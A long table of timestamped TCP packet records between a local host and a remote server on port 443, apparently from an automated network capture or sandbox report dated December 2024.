Dec 30, 2024 16:16:56.770555019 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.770558119 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.770566940 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.770590067 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.770600080 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.770615101 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.770621061 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.770631075 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.770633936 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.770664930 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.770672083 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.770683050 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.770710945 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.770716906 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.770731926 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.770739079 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.770767927 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.770772934 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.770812035 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.770843983 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.770876884 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.770886898 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.770893097 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.770921946 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.770930052 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.771063089 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.771101952 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.771106958 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.771112919 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.771145105 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.771147966 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.771155119 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.771162033 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.771188021 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.771280050 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.771320105 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.771320105 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.771333933 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.771367073 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.771368027 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.771405935 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.771414995 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.771424055 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.771450043 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.771555901 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.771589994 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.771593094 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.771601915 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.771639109 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.771950960 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.772001028 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.772017002 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.772063017 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.791768074 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.862091064 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.862142086 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.862173080 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.862183094 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.862194061 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.862221956 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.862236977 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.862251043 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.862267971 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.862293005 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.862293959 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.862320900 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.862329006 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.862339973 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.862344980 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.862380981 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.862387896 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.862395048 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.862421989 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.862431049 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.862482071 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.862489939 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.862531900 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.862538099 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.862548113 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.862586021 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.862612009 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.862639904 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.862652063 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.862660885 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.862677097 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.862788916 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.862828970 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.862833023 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.862840891 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.862869978 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.862874031 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.862915039 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.862921000 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.862942934 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.862960100 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.862967014 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.862989902 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.863065958 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.863101006 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.863107920 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.863121033 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.863154888 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.863198996 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.863238096 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.863245964 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.863289118 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.863300085 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.863301039 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.863358974 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.863416910 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.863428116 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.863454103 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.863468885 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.863476992 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.863485098 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.863504887 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.863506079 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.863559008 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.863573074 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.863615036 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.863652945 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.863694906 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.863697052 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.863707066 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.863737106 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.863738060 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.863759041 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.863765001 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.863778114 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.863791943 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.863820076 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.863826990 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.863866091 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.863869905 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.863877058 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.863904953 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.863909960 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.863917112 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.863960028 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.864048958 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.864094019 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.864099979 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.864106894 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.864139080 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.864147902 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.864500046 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.864538908 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.864556074 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.864563942 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.864586115 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.864598989 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.954689980 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.954787970 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.954802036 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.954838037 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.954868078 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.954869032 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.954890013 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.954905033 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.954905987 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.954946995 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.954968929 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.954978943 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.954997063 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.955013037 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.955028057 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.955048084 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.955054045 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.955061913 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.955081940 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.955105066 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.955106020 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.955113888 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.955151081 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.955151081 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.955159903 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.955198050 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.955209017 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.955270052 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.955321074 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.955332041 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.955341101 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.955358028 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.955382109 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.955461979 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.955493927 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.955514908 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.955526114 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.955540895 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.955569983 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.955671072 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.955714941 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.955722094 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.955729008 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.955750942 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.955759048 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.955773115 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.955779076 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.955790997 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.955795050 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.955826998 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.955832958 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.955859900 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.955883026 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.955889940 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.955903053 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.955904007 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.955952883 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.955960989 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.956003904 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.956062078 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.956104040 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.956114054 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.956120014 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.956130981 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.956139088 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.956156969 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.956161976 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.956176996 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.956257105 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.956295967 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.956302881 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.956310034 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.956336021 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.956340075 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.956381083 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.956387997 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.956434965 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.956446886 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.956497908 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.956502914 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.956511021 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.956559896 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.956872940 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.956929922 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:56.956960917 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:56.957007885 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:57.047164917 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:57.047211885 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:57.047228098 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:57.047251940 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:57.047389030 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:57.047389030 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:57.047405958 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:57.047418118 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:57.047452927 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:57.047458887 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:57.047473907 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:57.047473907 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:57.047507048 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:57.047519922 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:57.047527075 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:57.047544003 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:57.047552109 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:57.047590017 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:57.047595978 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:57.047633886 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:57.047638893 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:57.047647953 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:57.047682047 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:57.047796011 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:57.047823906 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:57.047840118 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:57.047847033 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:57.047863960 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:57.047897100 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:57.047945976 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:57.047950983 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:57.047959089 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:57.047987938 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:57.048003912 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:57.048017025 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:57.048032045 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:57.048053026 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:57.048082113 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:57.048130035 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:57.048130989 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:57.048141003 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:57.048175097 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:57.048185110 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:57.048197031 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:57.048243046 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:57.048244953 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:57.048252106 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:57.048283100 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:57.048295021 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:57.048445940 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:57.048475981 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:57.048491955 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:57.048501968 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:57.048513889 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:57.048517942 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:57.048543930 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:57.048548937 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:57.048562050 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:57.048573971 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:57.048614979 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:57.048625946 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:57.048664093 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:57.048784018 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:57.048819065 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:57.048827887 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:57.048841000 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:57.048854113 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:57.048857927 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:57.048877001 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:57.048882961 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:57.048897982 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:57.049011946 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:57.049052000 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:57.049052954 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:57.049061060 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:57.049105883 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:57.049128056 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:57.049158096 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:57.049174070 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:57.049180031 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:57.049204111 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:57.049210072 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:57.049441099 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:57.049468994 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:57.049479961 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:57.049489975 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:57.049491882 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:57.049541950 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:57.049550056 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:57.049590111 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:57.083751917 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:57.139611959 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:57.139642954 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:57.139719963 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:57.139760017 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:57.139831066 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:57.139831066 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:57.139831066 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:57.139856100 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:57.139883041 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:57.139898062 CET	49704	443	192.168.2.5	169.197.85.95
Dec 30, 2024 16:16:57.139906883 CET	443	49704	169.197.85.95	192.168.2.5
Dec 30, 2024 16:16:57.139920950 CET	443	49704	169.197.85.95	192.168.2.5
